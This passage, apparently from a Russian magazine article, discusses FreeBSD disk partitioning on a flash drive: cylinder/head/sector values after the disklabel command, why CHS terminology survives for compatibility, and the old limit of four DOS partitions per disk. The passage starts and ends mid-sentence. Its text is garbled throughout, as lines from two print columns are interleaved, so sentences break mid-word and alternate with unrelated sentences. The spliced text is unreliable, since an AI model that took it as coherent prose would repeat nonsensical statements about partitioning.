beg: cyl 3/ head 0/ sector 1;
end: cyl 31/ head 91/ sector 59 Команда disklabel создала необходимые разделы.
Но монтировать еще пока нечего, disklabel – это «fdisk
Как совершенно очевидно, значения цилиндр-головка- для разделов FreeBSD». Это часто вызывает путаницу –
сектор отличаются, хотя размер разделов одинаковый. Бо- как это, разделы внутри разделов? Несмотря на кажу-
лее того, эти цифры отличаются и от тех, что приведены щуюся сложность, это очень удобно. Дело в том, что раз-
в начале статьи в плане разделов! Они изменяются, когда мер таблицы разделов (терминология DOS) не позволяет
команда disklabel записывает загрузчик FreeBSD. На са- иметь более 4 разделов на одном диске. Ограничение это
мом деле, конечно же, все эти цифры условные. На Flash было введено еще во времена 20Мб жестких дисков и тог-
нет никаких цилиндров, головок и тому подобных вещей. да казалось вполне разумным. Со временем оно перерос-
Вся эта терминология идет от жестких дисков и оставлена ло в стандарт, и, хотя уже давным-давно стало неудоб-
для совместимости. Поэтому неудивительно, что все рабо- ным, от него не от